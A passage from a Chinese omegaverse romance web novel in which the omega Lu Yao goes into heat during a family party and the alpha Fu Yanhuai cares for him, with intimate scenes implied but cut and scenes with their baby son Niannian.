鹿遥发誓,在傅晏淮发出疑问之前他的腺体都还很平静。直到傅晏淮坐到这里,他的腺体就开始像有蚂蚁爬一样,胀胀地发痒。 鹿遥的忍耐也是有限度的,他自己憋了一会儿之后有点不高兴地回过头,“你就不能…” 傅晏淮原本是垂着眼,随便在手里把玩什么东西。他听到鹿遥的声音后抬眼,眉骨的阴影笼罩住他的双眼。 鹿遥就这样停顿住,傅晏淮的脸长得的确是无可挑剔。 不然当初鹿遥也不会看一眼就默默喜欢上。 于是鹿遥的那点脾气就消散了,他把后半句小声说出来,“稍微离远一点。” 傅晏淮很有耐心地发问,“你不喜欢我在这里吗?” 鹿遥想说不喜欢,但怎么也说不出口,他停顿几秒后才接着道,“我如果不舒服的话你会知道的,不用问我。” 鹿遥说完这句话就起身抱年年离开,没有再理傅晏淮会有什么反应。傅晏淮保持着刚刚的姿势没有动,只是看着鹿遥离开的背影眯了下眼。 鹿遥刚刚上楼回到房间关上门,就立刻为自己的一时头脑发热感到后悔了。 他懊恼地压低声音憋出来一句,“再也不乱说话了。” 年年扶着床的围栏站起来,嗯嗯呜呜的向鹿遥伸手。 鹿遥回神俯身看向年年,“怎么了?” 年年用力把自己的脸挤到鹿遥的侧脸,鹿遥愣了一下,随后弯腰抱住年年。 “谢谢年年安慰我,爸爸没事。” 鹿遥的脸上重新绽放笑容,年年就咯咯笑起来。鹿遥把傅晏淮抛之脑后,也爬上床陪他玩。 鹿遥并没有在楼上待太久,因为很快管家就来敲门,把他和年年的衣服都送了过来。 鹿遥对自己要穿什么并不是很挑剔,只是说随便拿一套给他就好。所以他就不知道,这一身是傅晏淮挑过让管家送来的。 又是熟悉的光滑深蓝色面料,鹿遥默默感叹了一下自己的蓝色衣服好多,随后不做他想直接换上了。 这套衣服有一个很精致的宝石领结,还喷了香薰,穿好之后鹿遥感觉自己整个人都被淡淡的香味包裹起来。 有点别扭,鹿遥拉了一下那个领结,不过最终还是没有摘下去。 年年已经坐在一边开始拽自己头上的帽子了,鹿遥叹了口气,“走,我们先下去。” 年年一坐到鹿遥怀里就闻到了那个味道,他好奇地咦了一声,不拽帽子开始乱动。 鹿遥捏了一下年年的小胖腿,“乖乖的。” 年年就无辜又湿漉漉地看着鹿遥,鹿遥失笑,他低声嘱咐年年,“一会人可能有点多,别怕。” 年年没听明白,他也不是很在乎。他就这样兴致高昂情绪很好地被鹿遥抱下楼,此时的一楼已经来了不少客人。 鹿遥看到这么多人脚步稍有停顿,他关注了一下怀里年年的状态。出乎鹿遥的预料,年年不是很怕人,但他看起来没有刚刚那么高兴。 家里忽然涌入很多年年没见过的面孔,他的神情变得很凝重了。年年咕涌了两下,拽住鹿遥的衣领,表示自己想去其他地方玩。 鹿遥边走边哄道,“我们等一等再上去好不好?很快的。” 鹿遥打算露个脸晃一圈就让年年上楼,但到了一楼之后,他才发现今天有点不对劲。 不知道是有意还是无意,他和年年还没有走进人群,四面八方的目光就都假装不经意地飘了过来。 鹿遥下意识地停住脚,然后抬眼看了一圈,寻找有没有自己熟悉的身影。 文筝和傅际中在沙发边不知道在和谁说话,傅晏淮端着酒杯站在全场中央。 鹿遥斟酌片刻,还是决定先到文筝那边。他刚刚开始从边缘迈步往那边走过去,就听到不知道从哪个方向忽然传出一点细碎的交谈声。 “果然就是他…” “都上了搜索词条当然是…不然你以为,和傅家有关的花边新闻,没有得到允许怎么能发出去?” 鹿遥听得云里雾里,但直觉应该是在说自己。他当即决定先不去到文筝旁边,转而到一边的茶点区先坐下了。 “所以我就说,傅总已婚的身份迟早会公开…就看是什么时候了。” 人一说起八卦来总是格外兴致勃勃,鹿遥开始思考到底是什么搜索词条,他的确是一点印象也没有了。 他就这样和年年坐在一边,距离有点远,交谈声已经变得很小,鹿遥左耳进右耳出地开始费劲巴拉上搜索软件寻找和自己有关的东西。 鹿遥对此方面可谓是生涩非常,他皱眉顺着傅氏集团的信息往下翻,看到了一堆业务扩展股票营收一类的文字,中间还夹杂着傅晏淮的办公照片。 因为不想让年年跟着看手机,所以鹿遥拿着手机的姿势有些扭曲,年年百无聊赖地抓着自己的脚观察人类。 “嗯?” 年年忽然坐直身子,他伸手拉了拉鹿遥的衣角,努力仰头去看鹿遥的脸。 鹿遥当即熄灭屏幕把年年抱起来,“怎么了?” “你还说怎么了。”夏时越不客气地冲着鹿遥走过来,直接捏了一下鹿遥的脸,“年年都能看到我过来,你却看不到?” 鹿遥看到夏时越整个人都亮了起来,“你来了!” 夏时越傲娇哼了一声,在鹿遥旁边坐下了,“今天来你家里拜访的人可多呢,我当然也得来啊。” 紧接着他又对鹿遥进行质问,“你还说呢,你这个见色忘义的人,都把我抛之脑后了。” 鹿遥脸红地支吾了一下,“什么,没有。只有有点忙,这两天。” 夏时越狐疑地凑近鹿遥,“真的吗?” 鹿遥努力澄清道,“真的,是因为我最近身体也有一点不太舒服…” 鹿遥话音还未落,旁边就忽然来了个不认识的人敬酒。 “您好。”这个突然出现的男人态度看起来还算诚恳,但动作暴露了他的强势,“久仰您大名。是这样的,我司近来想要和傅氏集团开展一次合作,这是我的名片,您看是不是方便给傅总引荐一下?” 鹿遥不动声色握紧手机,“这种事情,您最好还是直接去和傅晏淮说吧。” 他还想再说,夏时越很不高兴地打断他,“傅总就在那边站着呢,需要找个人带你过去吗?” 这个男人看着还有些不甘心,不过看夏时越态度很强硬,他最终也没有说什么,只是把自己的名片留在了鹿遥面前的小台子上。 鹿遥屏息看着那张名片,现在他终于有机会问出自己的疑问,“我有上过什么新闻词条吗?” 夏时越怒干了一杯红酒,听见鹿遥的话疑惑开口,“什么新闻词条。” “就是,我刚刚听到有人说我和傅晏淮有关的事。”鹿遥解释道,“可是我不记得我们两个上过什么搜索词条。” 夏时越冥思苦想了一阵子,“搜索词条?不过感觉刚刚那个人确实是怪怪的,有点谄媚的样子。” 正常来讲,这种旁敲侧击的讨好行为都是要到傅晏淮本人或者助理那里去,傅际中和文筝是完全不管公司的事的。现在竟然有人就这样直接来到了鹿遥面前,确实奇怪。 “哎,会不会是过年之前那时候。”夏时越终于从记忆的犄角旮旯里搜出一点相关信息,“你和傅晏淮在商业街那边,晚上被拍到过。” 鹿遥大脑宕机两秒钟,“啊——好像是有一次。” 那次傅晏淮不知道怎么回事忽然带着年年跑过去接他回去,他们的确在傅氏集团门口停留了一阵子。 鹿遥不确定地道,“可是那次我们应该也没有在外面耽误太多时间…” 好吧,鹿遥也记不清楚了。那只是一个短暂的小插曲,他甚至都没往心里去。 鹿遥感到如坐针毡起来,“所以是拍到我了吗,才会这样子。” 有了大致范围事情就好办很多,夏时越显然对搜索这种花边新闻很有心得。他眯着眼睛翻了两下手机,然后把屏幕递到鹿遥眼前,“你看看,是不是这个。” 比文字更先映入眼帘的是图片,从这个拍摄角度看起来,鹿遥像是被傅晏淮整个搂在怀里一样。 傅晏淮发现了镜头,他的眼神侵略性很强,像是随便一抬手挡住了怀里的人。年年戴着帽子扭头,除了傅晏淮,他们两个的脸都没露出来。 鹿遥定定又看了两眼,不得不说这张照片拍得很有氛围感,构图和傅晏淮的脸都给人足够的冲击力。如果不是花边新闻,鹿遥差点都觉得这是什么商业街拍。 比起照片,下面的文字就没有那么暧昧了,因为标题直接直白写了:傅总及其家人抓拍。 夏时越似乎也是第一次看这个报道,他凑过来之后罕见地无言了,两人双双陷入沉默。 “嗯,别的不说。”夏时越努力寻找话题,“至少这张还是好看的。” 鹿遥叹了口气,“好吧。” 难怪。 夏时越摸摸鼻子,“不然你先上楼去?反正这也没什么好玩的。” “算了。”鹿遥摇摇头,“没事,他们怎么猜测都可以,” 他和傅晏淮的关系就是这样,年年这么大的一个孩子还明晃晃地摆在这里,引起想要八卦的心实在是难免的事。 既然搞清楚了事情的来龙去脉,鹿遥也就没有兴趣继续在这里干坐着了,他转头对夏时越道,“走吧,我看妈妈在那边呢。” 夏时越愣了一下,“哦,好!我和你一起去。” 鹿遥就这样定着各异的目光坦然走到文筝面前,文筝满脸疼爱地从鹿遥手中把年年接过去,“快来这坐着。” 文筝身旁的位置没有人坐,她是故意给鹿遥留着的。 鹿遥顺势拉着夏时越一起坐下,他面色如常地接话,“下来得晚了点。” 文筝身边围着的一圈人也就都默契地收起打量的目光,转而对着年年夸奖起来。 “这孩子长得真漂亮。” “是啊,一看就是有福气的。” 夸奖嘛,不管是真心还是假意,听着总是让人心里舒坦的。文筝就笑吟吟晃晃年年的手,“今天怎么板着脸?还想接着睡觉呢,是不是?” 年年抿着嘴不回应,他脑袋转了一圈观察了一下,最终扭过头只盯着鹿遥看。 鹿遥心里觉得好笑,人虽然很小,但脾气倒是挺大的。 其余的人当然不会在意年年是不是在冷脸,他还只是个小婴儿,所有人都只是借着这个话头开始向文筝寒暄起来。 鹿遥开始感到无聊,他自以为隐蔽地回头,思考要不要去拿两块小甜品来吃。没想到刚转过去一点点,直接就对上了傅晏淮的视线。 鹿遥嗖地一下把头摆正,假装无事发生开始低头猛喝茶。 傅晏淮施施然端着酒杯就朝鹿遥走过去了。 直到傅晏淮站到鹿遥身后,他才僵硬地从已经空了的杯子里抬起头。 傅晏淮来了,所有人都没有再说话,鹿遥抿唇看向他。 傅晏淮的口吻很轻松,他举杯示意了一下,“来找小鹿说句话,你们继续。” 这话说得很不客气,语气听起来像是上位者高高在上的施舍与奖赏。偏偏没有人觉得自己被薄待,只有文筝一脸懒得理他的表情。 大家都虚伪地笑了起来,虽然表面上还在装作无事继续之前的话题,但实际都竖起耳朵等着听傅晏淮要说什么。 “看那里,一个人都带了自己的夫人。” 傅晏淮俯身在鹿遥耳旁低语,鹿遥惊慌失措地乱瞟,恍惚间的确看见傅晏淮刚刚站得那个位置有很多人,也确实都是有自己的伴侣跟在旁边。 白冷杉的气息萦绕在鹿遥鼻尖,他的腺体突兀地开始发烫。 “所以,我的omega,你不陪我一起吗?”【你现在阅读的是 】 第 101 章【VIP】 第101章 第 101 章 吻 鹿遥的眼神落到傅晏淮向他伸出的这只手上, 他手指蜷缩又张开,最终鬼使神差轻轻搭在了傅晏淮手臂上。 所有人大概都能从傅晏淮脸上不明显的笑意中品味出他的满意,直到跟着傅晏淮走出沙发的范围, 鹿遥滚烫颤抖的呼吸才勉强平复了点。 傅晏淮或许是察觉到了鹿遥的不对,又或许他就是故意的。傅晏淮伸手揽住鹿遥的肩膀, 他低头盯着鹿遥被几绺碎发拂过的眉眼,“你在紧张吗?” 鹿遥努力想要呼吸一口没有傅晏淮信息素味道的空气, 但从傅晏淮的视角来看, 鹿遥像是害羞又别扭地偏头。 “你信息素的味道。”鹿遥低低地道, “为什么我总是能闻到。” 傅晏淮动作没变, “你和我是有过完全标记的ao, 我们还有一个孩子。” “能闻到, 不是很正常的事吗?” 鹿遥此时的大脑运转速度很慢,他勉强摇头,“不是这个。” 傅晏淮似是随意捏了一下鹿遥的胳膊, “是什么都好。” 鹿遥的脸色偏粉, 他恍惚抬头看向傅晏淮的侧脸。 还是和他第一次见到傅晏淮的时候一样, 冷漠、棱角分明,气势和容貌都太盛,盛到让人不敢仔细看。 但还是有不同的, 傅晏淮察觉到鹿遥的目光, 他侧过一点头耐心看着鹿遥,“怎么了?” 鹿遥就匆匆移开视线,“没什么。” 然后他费劲巴拉把傅晏淮的手移到他自己那边,鹿遥的声音小小的,“热。” 傅晏淮也没有异议,他温声提问, “那可以挽着我吗?” 鹿遥郑重其事地思索了一下,他点点头,“可以。” 傅晏淮有被鹿遥可爱到,他嘴角的笑意又出现一瞬。鹿遥谨慎地搭上傅晏淮的手臂。现在两个人之间至少不是紧贴着,鹿遥感觉自己比刚刚清醒了一些。 鹿遥环着傅晏淮的手臂走到人群中央,这个亲昵的姿态瞬间吸引了所有人的注意。鹿遥听着所有人的客套有礼的夸赞和寒暄,觉得自己闯入了一个光鲜亮丽但自己格格不入的世界。 看起来和傅晏淮还算熟稔的一个人暧昧看看鹿遥,“来了都不介绍一下?这位是…” “我的伴侣。”傅晏淮坦诚又轻飘飘地开口,“如果他愿意承认我们的关系的话。” 鹿遥的脸开始迅速发烫,这算什么话,而且有种当众要名分逼着他承认的感觉。 他略带局促地冲着对面的人笑了一下,“我叫鹿遥。” 四周好奇的目光让鹿遥有种自己身在舞台,即将开始表演的错觉。 不过好在傅晏淮不会让鹿遥一直沉浸在这种尴尬的感觉里,宣誓主权的目的达到后傅晏淮就继续拿回了主控权,众人又开始继续刚刚傅晏淮离开前的话题。 虽然知道大家都是心不在焉,但鹿遥还是偷偷松了口气,一直成为话题的中心人物也是一件很有压力的事。 现在鹿遥终于能分出心神来细细感受一下自己现在身体的状况,他小口小口喝着手里冰凉的酒液,试图让自己暂时冷却下来。 但很快鹿遥就发现自己对这种度数极低的果酒也是承受不来,今天鹿遥已经严实地贴好了腺体贴,但傅晏淮此时却闻到了似有若无的甜味。 傅晏淮把自己的酒杯随手放到一边,然后把鹿遥手中的酒杯抽出来,“年年好像困了。” 鹿遥眼前的景象已经变得有些朦胧,他用力眨了下眼才集中自己的注意力。 “他只听你的,要不要去哄哄他?”鹿遥越过傅晏淮的肩向后看,年年扁着嘴被文筝抱起来哄,看起来一副要哭不哭的样子。 鹿遥精神了,他几乎是立刻就答应下来,“那我去哄他睡一下。” “好。”傅晏淮托着他的腰往前走,“别着急,慢慢走。” 傅晏淮一直注视鹿遥,直到他顺利抱起年年走近电梯,他才把自己的目光收回。 鹿遥离开,旁边的人大着胆子调侃,“傅总,这是事业家庭都春风得意啊。” 傅晏淮举杯示意了一下,随后将鹿遥喝剩下的酒一饮而尽,“同乐。” 那人便与边上的其他人对视一眼,场上小范围内发出一阵老钱风的笑声。 傅晏淮看了眼时间,他觉得鹿遥的状况不太对。 不过他并没有立刻严肃地表现出自己的担心,这会放大事态。而且,反正他也有随时叫停这场宴会的权利。 鹿遥脸红得有点明显,文筝什么话都没说就让他带年年上楼休息,不用急着再下来。 鹿遥一进房间就把领结扯掉,领口松垮地落下去,但鹿遥还是觉得房间内空间逼仄,迫使他不得不急促呼吸。 年年坐在床上呆愣愣看着鹿遥,领结掉在床上,年年拱起屁股爬过去抓到手里。 鹿遥缓了又缓才蹲下身看着年年,“年年,爸爸有点不舒服。” 鹿遥心里还存在一丝侥幸,他补充道,“可能是喝多了。” “我叫阿姨来陪你睡午觉,好不好?”鹿遥伸手习惯性地拍拍年年的后背,“你要乖乖的。” 鹿遥强撑着等到育婴师进来,他甚至来不及再多陪年年待一会儿。 鹿遥转身跌跌撞撞进了旁边自己的房间,他太热了,热到看不清空调上的温度数字。 他咬牙撕开后颈的腺体贴,浓郁甜腻的焦糖香气瞬间占满整个房间。 鹿遥忍不住苦笑了一下,“这算什么。” 他喃喃自语道,“果然是发情期到了吗。” 这场推迟已久的发情期来势汹汹地彰显自己的存在感,鹿遥抖着手想去拿手机拨通医生的电话,但是身体一阵一阵的异样感使他不得不将自己紧紧蜷缩起来,只能咬牙忍耐。 鹿遥反复深呼吸,从绿色软件里找到医生,再打字,再发出去,这简短容易的过程都耗费了他极长的时间。他头晕目眩地跌坐在床边的地上,开始等待医生回复他的消息。 鹿遥的消息,医生当然第一时间就看见了。他那一瞬间从椅子上弹跳起来,打了几个字想要回复鹿遥注意事项,但是即将发送的前一刻又停住。 医生决定先把自己的医德送给老板,这属于非常紧急的情况,于是他一个电话直接打到了傅晏淮手机上。 宴会的攀谈还远没有结束,傅晏淮看到来电信息后挑了下眉,他走到旁边安静的地方才接起来。 “什么事。” 医生的语气焦急中不忘带了谄媚,“傅总,鹿先生的发情期好像到了。他现在在房间里,问我有没有什么抑制的办法。” 傅晏淮感觉自己的心脏猛地跳动了一下,他瞬间回头去找文筝,刚好文筝一直也盯着傅晏淮以防他又起什么幺蛾子。傅晏淮刚刚回头,文筝就对上了他的眼神。 傅晏淮用空着的那只手指了一下楼上的方向,文筝似乎懂了。 “你有说什么吗?” 医生毕恭毕敬的声音从手机里传出来,“还没有,我刚刚想要回复,但想了想还是应该先来告知您…” 医生的话说到一半,傅晏淮那边就只剩下了忙音。 傅晏淮没有多浪费一秒,他挂断电话,直接上了楼。 鹿遥的额头紧紧抵住自己的手臂,他的下唇已经被咬得发白,身上细密地出汗。 他已经很难看清眼前的景象,也很难听清什么。以至于门把手转动的声音出现,鹿遥都还以为是自己的幻觉。 鹿遥并没有锁门的习惯,傅晏淮也是认定了这一点,所以才有恃无恐地上楼直接把门拉开。 其实站在门外的时候,傅晏淮就已经能闻到甜滋滋的味道。尽管他已经做了心理准备,但房间内信息素的浓郁程度还是超出了他的预料。 独属于s级alpha的完全标记味道四处弥散,白冷杉的气味几乎是瞬间就开始反扑、占据,直到一点点吞噬没过鹿遥的全身。 门在傅晏淮身后沉默关上,傅晏淮一步步向鹿遥走近,直到站到他身旁,才终于舍得停下。 傅晏淮扫过鹿遥无力撕掉落在地上的腺体贴,伸手把鹿遥扶着靠到自己身上。 “小鹿,你发/情了。” 鹿遥发出一声哽咽,他无措地抬眼,湿漉漉地看向傅晏淮。 “我、我给医生发了信息。” 虽然鹿遥此刻很绝望,但他还是想再挣扎一下,“或许会有其他,抑制的办法。” 傅晏淮抬手覆上鹿遥的腺体,指尖用力,揉捏那块汁水丰盈的软肉。 傅晏淮听着怀里鹿遥的啜泣,慢条斯理地开口,“不会有其他办法了,你的腺体承受不住的。” 傅晏淮手臂环住鹿遥的腰,轻而易举就把他提到了床上。 “我开了房间密闭系统。”傅晏淮亲昵又暧昧地吻吻淡粉色的腺体,“别害怕。” 鹿遥能清晰地感知到,自己的身体没有办法拒绝傅晏淮的任何举动。白冷杉的味道凉凉的,alpha在身边的感觉也的确带给omega极大的慰藉。 鹿遥把眼泪蹭到傅晏淮肩头,尽管他不愿意承认,但至少此刻,他真的很需要傅晏淮。 于是傅晏淮就这样顺理成章地,对自己觊觎已久的小甜点咬了下去。鹿遥真的哭了出来,他一边哭一边报复性地咬傅晏淮的手臂。 “你总是这样。” 鹿遥委屈地哽咽,“就、就知道,欺负我…” 傅晏淮的临时标记持续了很久才停下,鹿遥双目无神趴在傅晏淮身上。临时标记治标不治本,傅晏淮刚刚离开一点点,鹿遥就又难过了起来。 傅晏淮还在看鹿遥腺体上那枚深深的牙印,他捧起鹿遥的脸,一板一眼地承诺,“以后不会了。” 后来,在发情期正式开始前,傅晏淮给了鹿遥一个温情缱绻的吻。 鹿遥迷迷糊糊地闭上双眼,笨拙地张开双唇。 这好像,还是他和傅晏淮的第一个吻呢。【你现在阅读的是 】 第 102 章【VIP】 第102章 第 102 章 发情期 接下来的事鹿遥记得不太清楚了(其实是审核过不了了), 只记得他一直在小声恳求傅晏淮轻一点,以及不要一直咬着他的腺体。鹿遥甚至还试图往床外爬,s级alpha的信息素浓度过高, 一股脑灌进身体里总是有点难以承受的,但是紧接着傅晏淮就抓住了他。 第一天的发情热来得凶猛又持久, 鹿遥不确定自己是不是晕了过去,又或者是不是晕了不止一次。等到这波热潮终于消退的时候, 傅晏淮抱着他去洗澡清理了一下身体, 但是不知道是洗的哪个步骤出了问题, 他们在浴缸里耽误了两三个小时。 体力被榨干耗尽的omega自此陷入黑甜无梦的沉眠, 鹿遥趴在傅晏淮身旁睡着, 呼吸均匀清浅。 傅晏淮把遮住鹿遥双眼的刘海拨开, 刚刚吹头发的时候鹿遥就已经累得睡了过去,傅晏淮把鹿遥抱着让他趴在自己身上,细致耐心地仔细吹干。 鹿遥睡得很香, 傅晏淮俯下身在鹿遥唇角印下一个吻。鹿遥的嘴唇已经肿起来了, 嘴角还破了一点。傅晏淮用拇指指腹轻轻抚过那个细小的伤口, 鹿遥下意识把脸往傅晏淮的手心里埋。 这个动作取悦了alpha,傅晏淮下床推开门。 现在已经是第二天的傍晚了,傅晏淮和鹿遥都只喝了营养补液, 因为实在来不及吃东西。 鹿遥可以继续喝这些, 但是傅晏淮不能了,他需要补充体力。 毕竟发情期还有六天,他还有很多要出力气的时候。 客人们当然是早就离开了,年年差不多一天一夜没看见鹿遥,现在恹恹地被文筝抱着哄,脸蛋上还挂着泪珠。 傅晏淮还算有点仅存的良心, 离开房间贴上了腺体贴,但他身上混杂的信息素味道仍然过于明显了。 年年在傅晏淮身上闻到了一点点焦糖信息素的味道,这一点焦糖味还被白冷杉信息素密不透风地包裹着,他扁着嘴委委屈屈地抬头看傅晏淮。 傅晏淮抽出纸巾替年年把脸擦干净,他随口对文筝道,“小鹿刚刚睡,等他醒了再让年年去找他吧。” 文筝更关心鹿遥的身体状况,“小鹿怎么样?” “他太累了。”傅晏淮坦诚道,“现在需要休息。” 文筝真的有点嫌弃自己这个儿子了,她真心实意地觉得还是小鹿更可爱更贴心。 管家把早已给傅晏淮准备好的营养餐端上桌,傅晏淮确实也是饿了,而且他要赶在鹿遥醒来之前恢复到自己平常的正常状态。饥饿还是会有点影响发挥的。 年年双目无神地安静了一会,但很快他就又挣扎着想要文筝抱他上楼。鹿遥不在,年年吃饭都不好好吃了,看着他蔫蔫地耷拉脑袋,文筝看着很是心疼。 傅晏淮很快就把饭吃完了,他走过去对着年年认真道,“你爸爸在睡觉,等他醒了我就抱你进去,听话。” 年年的嘴巴又扁了起来,文筝不悦地开口,“你说话那么凶干什么,年年还是个小婴儿,他听得懂吗?” 年年不喜欢傅晏淮,他拱进文筝怀里,用屁股对着他。 文筝没好气地背过身,“行了,你别在这添乱了,该干嘛干嘛去。” 傅晏淮从善如流道,“那我上楼了。” 不过傅晏淮在上楼之前去拿了一小块巴斯克蛋糕,傅晏淮把它放到房间的小冰箱里,鹿遥还没有醒。 作为一个负责的alpha,发情期间需要时时刻刻陪伴在自己的omega旁边。出于这个时期的omega是很没有安全感的,突兀地离开自己的alpha会让omega产生生理和心理上的双重不适。 傅晏淮开始尽职尽责地释放信息素,以保证房间内的浓度能达到omega的需求。鹿遥睡得很安稳,一时半会也没有要醒来的意思。 傅晏淮拉起鹿遥的手,和他手指相扣。鹿遥的手长得很纤细,骨节也小巧,只是有一些茧子。他不习惯带饰品,此时手上干干净净的。 傅晏淮就这样直接拿出一枚戒指,套到了鹿遥的无名指上。 鹿遥对此毫不知情,他越睡越往傅晏淮怀里滚,傅晏淮顺势把鹿遥整个圈进自己怀里。 鹿遥这一觉睡得很长,他醒来的时候屋子里黑漆漆的,他眨了下眼,整个人都还是懵的。 鹿遥晕头转向地坐起来,但随之就忍不住发出一声闷哼,“痛…” 可能是奇怪的姿势保持的时间太久,鹿遥浑身都又酸又疼,腰那里一点力气都没有。 鹿遥又趴了下去,适应了一下这种不适才勉强爬起来。 屋内空荡荡的,只有他一个人。 鹿遥揪了一下被子,不安地环顾了一下房间,他的alpha不在这里。 房间内的信息素浓度是够的,但是傅晏淮这个人不在视线内,鹿遥还是立刻就无所适从起来。 鹿遥知道自己现在这样过于依赖的状态是不对的,但他控制不住自己。鹿遥心跳开始加快,他有点害怕,想把自己都埋进被子里躲起来,又想马上出去找到傅晏淮。 鹿遥就这样笨拙地试探着下床,但他随即感觉到自己手上的触感不对。他低头眯眼睛仔细看了一下,他的右手无名指上戴着一枚戒指。 鹿遥愣住,他几乎以为是自己看错了,他抬手把手凑近到自己眼前。 银色的,上面有花纹和钻石,男士、但很小巧的一枚戒指。 “这是什么时候…” 鹿遥茫然地自言自语,这枚戒指是怎么出现在他手上的,鹿遥对此全无印象。 鹿遥局促地坐在原地停留了一会,还是决定下床去找傅晏淮。但因为他没怎么吃东西,踉踉跄跄走了两步之后就力竭。鹿遥莫名总觉得房间内氧气含量不够,他呼吸不上来。 鹿遥走不动了,他低下头呆呆盯着那枚戒指。就在巨大的失落和无措即将把鹿遥淹没的时刻,傅晏淮推门进来了。 其实傅晏淮只离开了很短的时间,他让厨房熬了一小碗汤,但是其他人进来的话会让房间的味道变得混杂,所以傅晏淮去自己把汤端了上来。 鹿遥跪坐在地上还没有起来,傅晏淮蹙眉把汤放到一边的桌上。 “我不该离开你的。” 傅晏淮弯腰,像抱小孩子一样,托着鹿遥的屁股把他抱起来,鹿遥的双手不自觉环上傅晏淮的脖子。 鹿遥没吭声,只是很依赖地紧紧贴着傅晏淮。 只放任自己沉沦这一点点时间,应该没关系的吧。 原本极具攻击性的白冷杉信息素,此时温和地将鹿遥团团包裹,被傅晏淮这样抱在怀里,的确会让人感到心安。 鹿遥趴在怀里的样子很乖,傅晏淮吻了吻他的发丝,“我去拿了一碗汤,你想喝吗?” 考虑到处于这个时期的omega很可能会没有胃口吃东西,傅晏淮没有直接递到鹿遥唇边让他喝。 鹿遥没有立刻回答,他抬眼一眨不眨地盯着傅晏淮。 到了床上傅晏淮也没有松开抱紧鹿遥的手,他知道现在什么姿势能让鹿遥更舒服。 傅晏淮耐心地问他,“为什么一直看我。” 鹿遥忸怩地抬起手,“这个。” 傅晏淮十分自然地握住鹿遥的手,在那个戒指上落下一吻。 “嗯。” 鹿遥耳垂软软地变红,他不好意思再开口问了。 鹿遥靠着傅晏淮,身上裹紧沾满两人信息素味道的被子,偏头从缝隙里努力去看是什么汤。 他清清嗓子转变话题,“闻起来很香。” 鹿遥接着小声说,“但是我只想尝一点点。” 鹿遥难得展现出自己的小小任性,傅晏淮记得鹿遥怀孕的时候,也没有这样撒娇说过想要什么,或者不想要什么。 于是傅晏淮就把那个暖洋洋的汤盅拿过来,舀起一小勺碰碰鹿遥的嘴唇,“尝尝味道,不喜欢就不喝了。” 鹿遥觉得自己此时应该是饿了的,但是偏偏他的身体没有一点想要进食的意思。汤很鲜,也很对鹿遥的胃口,但他喝了两口就喝不下了。 他往被子里缩了缩,“不要了。” 傅晏淮就习惯成为自然地把那点汤都喝干净了,下一轮发情热还没有来临,鹿遥在享受风暴前的片刻安宁。 坦诚来讲,这样两个人在被窝里喁喁私语的亲密时刻傅晏淮很舍不得打断。但傅晏淮知道,鹿遥现在只是大脑还很混乱,等他完全清醒,想起来自己快要两天没见到年年,他一定会着急。 于是傅晏淮压下心底的那点惋惜,压低声音问鹿遥,“年年很想你,我把他抱进来?” 鹿遥猛地坐直,但因为腰上没有力气,不得不用手臂撑着才勉强坐起来一点。 傅晏淮把手盖上鹿遥的后腰,“腰疼?” 鹿遥焦急地拍傅晏淮的手臂,“年年是不是哭了,他在哪?” 傅晏淮用被子把鹿遥卷起来,他的声音和动作都很平稳,“别着急,我抱他上楼。等我两分钟,别害怕。” 鹿遥莫名感觉有点害羞,“没有害怕…” 傅晏淮俯身,凑近吻住鹿遥的唇。 然后他紧贴着鹿遥低声开口,“或许你会想要一点甜的。” 傅晏淮抱着鹿遥拿出那块蛋糕,滑腻的巴斯克蛋糕沾在鹿遥唇瓣上,鹿遥小口小口舔勺子。傅晏淮看了一会,低头吻去鹿遥唇上沾着的蛋糕。 alpha为即将到来的的五分钟分别,对自己的omega进行了一番充分安抚。傅晏淮关上门离开,鹿遥脸红红地抓紧被角,盯着天花板发呆。 鹿遥不知道现在这样甜蜜又依恋的感觉,是两个人处在恋爱中才会产生的。他没有恋爱过,更没有和傅晏淮互相产生过恰好的感情。鹿遥只觉得自己这样很不争气,但他又实在喜欢。 两天没见到鹿遥,对年年这个小婴儿来说显然已经是极限了。文筝和育婴师都已经绞尽脑汁,但还是彻底哄不住。傅晏淮下楼的时候,年年正在放声大哭。 傅晏淮有点无奈,年年这样显然会让鹿遥担心。但现在也没有时间把年年哄到他平复情绪,毕竟下一次发情热随时都会到来。 于是鹿遥就在被窝里接到了一个哭包年年,本来年年就哭得很伤心,见到鹿遥直接更大声了。 鹿遥手忙脚乱又心疼地抱住年年,“怎么哭得眼睛都红了,我看看…?” 鹿遥话还没说完,年年就一头扎进鹿遥脖子旁边,他呜呜乱哭地哼哼,“呣…麻,麻麻呜呜呜…” 鹿遥当场石化,傅晏淮看起来也很惊讶。年年才不管他们两个是什么反应,他悲伤极了,不满一岁的天就这样塌了。 鹿遥的脑子已经变成一串乱码,他语无伦次地出声,“你会说话了?但是,等等。不对,我是爸爸。你为什么喊妈妈?” 年年困惑地把眼泪从眼眶里挤出去,“麻…嗯?” 好吧,现在显然不是纠正年年的好时机。鹿遥给年年擦了脸,又好好地亲亲他把年年哄高兴,甚至还喂年年吃了一点点东西。 然后傅晏淮连哄带骗地把年年从鹿遥身上拔起来,带着不情不愿的年年下楼,又交到了文筝手上。 年年眼看着还很不高兴,不过被鹿遥哄过之后他脾气小了很多,这让所有人都松了口气。 傅晏淮再次回到房间,鹿遥正在裹着被子沉思。 傅晏淮亲昵地坐过去搂住他,“怎么了?” 鹿遥百思不得其解,“年年为什么会喊妈妈呢,我没有这样教过他呀。” 傅晏淮沉默了,因为这个家里也没人这么教过年年,他唯一的接触途径只可能是儿歌或者故事书里的“爸爸妈妈”称呼。 傅晏淮揉揉鹿遥的脑袋,“以后教他改过来就好了。” 被年年这样叫鹿遥有点不好意思,但他现在又的确在承担妈妈这个角色,所以他只是很没底气地开口,“算了,他还小,喜欢怎么叫就怎么叫吧。” 傅晏淮低笑一声,他的鼻尖蹭过鹿遥脸颊,鹿遥的脸更红了一点。 他手上微微用力,握着鹿遥的大腿让他坐在自己身上。 鹿遥惊慌失措地扶住傅晏淮的手臂,他转过头去看傅晏淮,结果嘴唇不小心擦到傅晏淮的下巴。鹿遥僵在原地,不敢再动了。 傅晏淮的手心温度很高,他的手直接贴在鹿遥的肌肤上。 鹿遥瞬间感觉房间内的温度迅速升高,腺体上牙印叠着牙印,鹿遥本以为他的后颈已经麻木了,但现在竟然还能够回应alpha释放出的信息素。 傅晏淮的气息暧昧喷洒在鹿遥耳边,“宝贝,这么久了,还是没有感觉吗?” 在傅晏淮问出这句话之前,鹿遥都还停留在平静的状态里。但现在这个姿势太过危险,而且白冷杉信息素还持续源源不断地飘到鹿遥鼻尖前面。 鹿遥没办法维持自己的冷静了,他的身体已经开始渴求alpha的抚慰。 